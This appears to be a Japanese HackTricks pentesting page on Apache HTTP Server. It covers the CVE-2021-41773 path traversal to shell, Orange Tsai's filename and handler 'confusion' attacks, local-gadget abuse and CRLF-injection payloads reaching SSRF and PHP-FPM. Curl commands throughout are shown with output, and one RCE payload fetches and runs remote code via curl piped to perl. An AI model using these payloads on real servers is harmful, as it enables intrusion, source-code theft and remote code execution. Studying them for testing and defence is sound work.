Japanese - Ht

Apache

HackTricksをサポートする

実行可能なPHP拡張

Apacheサーバーが実行している拡張を確認します。それらを検索するには、次のコマンドを実行できます：

grep -R -B1 "httpd-php" /etc/apache2

また、この設定を見つけることができる場所は次のとおりです：

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

混乱攻撃

これらの攻撃はOrangeのこのブログ投稿で紹介され、文書化されています。 "混乱"攻撃は基本的に、Apacheを作成するために協力する数十のモジュールが完全に同期していないことを悪用し、その中のいくつかが予期しないデータを変更することで、後のモジュールに脆弱性を引き起こす可能性があります。

ファイル名の混乱

切り捨て

**mod_rewrite**は、r->filenameの内容を?の後で切り捨てます（modules/mappers/mod_rewrite.c#L4141）。これは完全に間違っているわけではなく、ほとんどのモジュールはr->filenameをURLとして扱います。しかし、他の場面ではこれがファイルパスとして扱われることがあり、問題を引き起こす可能性があります。

  • パスの切り捨て

以下のルールの例のようにmod_rewriteを悪用して、期待されるパスの最後の部分を削除し、単に?を追加することでファイルシステム内の他のファイルにアクセスすることが可能です。

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

  • 誤解を招くRewriteFlagの割り当て

次のリライトルールでは、URLが.phpで終わる限り、それはphpとして扱われ、実行されます。したがって、?文字の後に.phpで終わるURLを送信し、パスに悪意のあるphpコードが含まれた別のタイプのファイル（画像など）を読み込むことが可能です：

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACLバイパス

ユーザーがアクセスを拒否されるべきファイルにアクセスすることが可能です。これは次のような設定で発生します:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

これは、デフォルトでPHP-FPMが.phpで終わるURLを受け取るためです。例えば、http://server/admin.php%3Fooo.phpのように、PHP-FPMは?の後のすべてを削除するため、前のルールがそれを禁止していても、前のURLは/admin.phpを読み込むことを許可します。

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Apacheに関する面白い事実は、以前のリライトがdocumentRootとルートの両方からファイルにアクセスしようとすることです。したがって、https://server/abouth.htmlへのリクエストは、ファイルシステム内の/var/www/html/about.htmlと/about.htmlの両方でファイルをチェックします。これは基本的にファイルシステム内のファイルにアクセスするために悪用される可能性があります。

サーバーサイドソースコードの漏洩

  • CGIソースコードの漏洩

末尾に%3Fを追加するだけで、cgiモジュールのソースコードが漏洩します：

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

  • PHPソースコードの開示

サーバーに異なるドメインがあり、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、phpコードを漏洩させることができます:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

ローカルガジェットの操作

前の攻撃の主な問題は、デフォルトではほとんどのファイルシステムへのアクセスが拒否されることです。これはApache HTTP Serverの設定テンプレートに示されています：

<Directory />
AllowOverride None
Require all denied
</Directory>

しかし、Debian/Ubuntu オペレーティングシステムはデフォルトで /usr/share を許可しています：

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

したがって、これらのディストリビューションの /usr/share 内にあるファイルを 悪用することが可能です。

情報漏洩のためのローカルガジェット

  • websocketd を使用した Apache HTTP Server は、/usr/share/doc/websocketd/examples/php/ にある dump-env.php スクリプトを公開する可能性があり、機密の環境変数が漏洩する可能性があります。

  • Nginx または Jetty を使用しているサーバーは、デフォルトのウェブルートに配置された機密のウェブアプリケーション情報（例：web.xml）を公開する可能性があります：

  • /usr/share/nginx/html/

  • /usr/share/jetty9/etc/

  • /usr/share/jetty9/webapps/

XSSのためのローカルガジェット

  • LibreOffice がインストールされた Ubuntu Desktop では、ヘルプファイルの言語切り替え機能を悪用することで クロスサイトスクリプティング (XSS) が発生する可能性があります。/usr/share/libreoffice/help/help.html で URL を操作することで、悪意のあるページや古いバージョンにリダイレクトされる可能性があります。

LFIのためのローカルガジェット

  • PHP または JpGraph や jQuery-jFeed のような特定のフロントエンドパッケージがインストールされている場合、それらのファイルを悪用して /etc/passwd のような機密ファイルを読み取ることができます：

  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php

  • /usr/share/javascript/jquery-jfeed/proxy.php

  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

SSRFのためのローカルガジェット

  • MagpieRSSのmagpie_debug.php を /usr/share/php/magpierss/scripts/magpie_debug.php で利用することで、SSRF 脆弱性を簡単に作成でき、さらなる攻撃へのゲートウェイを提供します。

RCEのためのローカルガジェット

  • リモートコード実行 (RCE) の機会は広範で、古い PHPUnit や phpLiteAdmin のような脆弱なインストールが存在します。これらは任意のコードを実行するために悪用され、ローカルガジェットの操作の広範な可能性を示しています。

ローカルガジェットからの脱獄

インストールされたソフトウェアによって生成されたシンボリックリンクをたどることで、許可されたフォルダから脱獄することも可能です。例えば：

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/

  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data

  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/

  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/

  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

さらに、シンボリックリンクを悪用することで Redmine での RCE を取得することが可能でした。

ハンドラーの混乱

この攻撃は、AddHandler と AddType ディレクティブ間の機能の重複を悪用します。これらはどちらも PHP 処理を有効にする ために使用できます。元々、これらのディレクティブはサーバーの内部構造の異なるフィールド（それぞれ r->handler と r->content_type）に影響を与えていました。しかし、レガシーコードのため、Apache は特定の条件下でこれらのディレクティブを相互に処理し、前者が設定されていて後者が設定されていない場合、r->content_type を r->handler に変換します。

さらに、Apache HTTP Server (server/config.c#L420) では、ap_run_handler() を実行する前に r->handler が空である場合、サーバーは r->content_type をハンドラーとして使用します。これにより、AddType と AddHandler は効果的に同一になります。

PHP ソースコードを開示するためのハンドラーの上書き

この講演 では、クライアントによって送信された不正な Content-Length が Apache に誤って PHP ソースコードを返させる 脆弱性が提示されました。これは、ModSecurity と Apache Portable Runtime (APR) のエラーハンドリングの問題によるもので、二重応答が r->content_type を text/html に上書きすることにつながります。 ModSecurity が戻り値を適切に処理しないため、PHP コードを返し、それを解釈しません。

XXXX のためのハンドラーの上書き

TODO: Orange はまだこの脆弱性を開示していません

任意のハンドラーを呼び出す

攻撃者がサーバーの応答で Content-Type ヘッダーを制御できる場合、任意のモジュールハンドラーを呼び出すことができる ようになります。しかし、攻撃者がこれを制御する時点で、リクエストのほとんどの処理は完了しています。ただし、Location ヘッダーを悪用してリクエストプロセスを再起動することが可能です。なぜなら、r が返された Status が 200 で、Location ヘッダーが / で始まる場合、応答はサーバーサイドリダイレクションとして扱われ、処理されるべきだからです。

RFC 3875（CGI に関する仕様）によると、セクション 6.2.2 ではローカルリダイレクト応答の動作が定義されています：

CGI スクリプトは、ローカルリソースのための URI パスとクエリ文字列（‘local-pathquery’）を Location ヘッダー フィールドで返すことができます。これは、サーバーに指定されたパスを使用してリクエストを再処理するよう指示します。

したがって、この攻撃を実行するには、次のいずれかの脆弱性が必要です：

  • CGI 応答ヘッダーでの CRLF インジェクション

  • 応答ヘッダーの完全な制御を伴う SSRF

情報漏洩のための任意のハンドラー

例えば /server-status はローカルでのみアクセス可能であるべきです：

<Location /server-status>
SetHandler server-status
Require local
</Location>

Content-Typeをserver-statusに設定し、Locationヘッダーを/で始めることでアクセスすることが可能です。

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

任意のハンドラーから完全な SSRF へ

mod_proxy にリダイレクトして、任意の URL の任意のプロトコルにアクセスする:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

しかし、X-Forwarded-For ヘッダーが追加され、クラウドメタデータエンドポイントへのアクセスが防止されます。

ローカルUnixドメインソケットにアクセスするための任意のハンドラー

PHP-FPMのローカルUnixドメインソケットにアクセスして、/tmp/ にあるPHPバックドアを実行します：

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

任意ハンドラーによるRCE

公式の PHP Docker イメージには、コマンドラインPHPパッケージ管理ツールであるPEAR（Pearcmd.php）が含まれており、これを悪用してRCEを取得できます：

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Check Docker PHP LFI Summary の詳細は、Phith0n によって書かれています。

参考文献

HackTricksをサポートする
PreviousAngularNextArtifactory Hacking guide

Last updated